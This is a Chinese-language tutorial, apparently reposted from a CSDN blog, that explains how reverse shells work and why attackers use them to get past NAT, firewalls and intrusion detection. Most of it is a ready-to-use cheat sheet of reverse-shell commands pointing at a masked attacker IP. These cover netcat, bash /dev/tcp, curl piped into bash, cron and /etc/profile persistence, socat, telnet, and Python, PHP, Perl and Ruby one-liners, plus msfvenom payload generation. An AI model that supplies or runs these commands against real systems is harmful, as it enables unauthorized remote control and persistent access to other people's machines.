什么是反弹 Shell
反弹 Shell 是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定 Shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口。
反弹 Shell 的工作原理
- 攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接。
- 目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的 IP 和端口。
- 建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者。
- 攻击者执行命令:攻击者通过这个通道直接操作目标主机。
简单点说:A 攻击 B,A 监听自己的某个端口,B 主动访问 A 的那个端口,在 A 上对 B 进行命令执行。谁攻击谁监听自己,谁被攻击谁主动访问。
为什么要反弹 Shell
- 目标主机位于内网(NAT 环境)或防火墙后面,攻击者无法直接访问目标主机的开放端口。
- 目标主机有防火墙限制入站流量,而反弹 Shell 利用目标主机主动发起出站连接,规避限制。
- 目标主机没有固定 IP,动态分配的 IP(如内网 DHCP 分配)增加了直接连接的难度。
- 规避入侵检测系统(IDS)。
- 降低攻击者暴露自身位置的风险。
常见反弹 Shell 方法
1. 利用 Netcat 反弹 Shell
攻击机:开启本地监听
nc -lvvp 11451
目标机:主动连接攻击机
nc 121.xxx.xxx.xxx 11451 -e /bin/bash
2. 利用 Bash 反弹 Shell
攻击机:开启本地监听
nc -lvvp 11451
目标机:主动连接攻击机
bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1
或者:
bash -c 'bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1'
3. Curl 配合 Bash 反弹 Shell
在攻击机 VPS 的 Web 目录中创建 index 文件:
bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1
开启监听:
nc -lvvp 11451
目标机执行命令:
curl 121.xxx.xxx.xxx | bash
4. 写入定时任务实现反弹 Shell
写入内容:
*/1 * * * * /bin/bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1
文件路径(依据系统区分):
- CentOS 系列:
/var/spool/cron/root - Debian/Ubuntu 系列:
/var/spool/cron/crontabs/root
5. 写入 /etc/profile 文件
写入命令:
/bin/bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1 &
6. 利用 Socat 反弹 Shell
攻击机:开启监听
socat TCP-LISTEN:11451 -
目标机:主动连接
socat tcp-connect:121.xxx.xxx.xxx:11451 exec:'bash -li',pty,stderr,setsid,sigint,sane
7. 利用 Telnet 反弹 Shell
方法一:目标机执行
mknod a p; telnet 121.xxx.xxx.xxx 11451 0<a | /bin/bash 1>a
方法二:双监听 攻击机开启两个监听:
nc -lvvp 11451
nc -lvvp 19198
目标机执行:
telnet 121.xxx.xxx.xxx 11451 | /bin/bash | telnet 121.xxx.xxx.xxx 19198
8. 使用脚本反弹 Shell
Python:
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("121.xxx.xxx.xxx",11451));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
PHP:
php -r '$sock=fsockopen("121.xxx.xxx.xxx",11451);
exec("/bin/sh -i <&3 >&3 2>&3");'
Perl:
perl -e 'use Socket;$i="121.xxx.xxx.xxx";$p=11451;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))) {
open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby:
ruby -rsocket -e 'c=TCPSocket.new("121.xxx.xxx.xxx","11451");
while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
9. 使用 Metasploit 生成反弹 Shell
列出可用 Payload:
msfvenom -l payloads | grep 'cmd/unix/reverse'
生成指定 Payload:
msfvenom -p cmd/unix/reverse_python LHOST=121.xxx.xxx.xxx LPORT=11451 -f raw
原文 https://blog.csdn.net/2301_79518550/article/details/144654435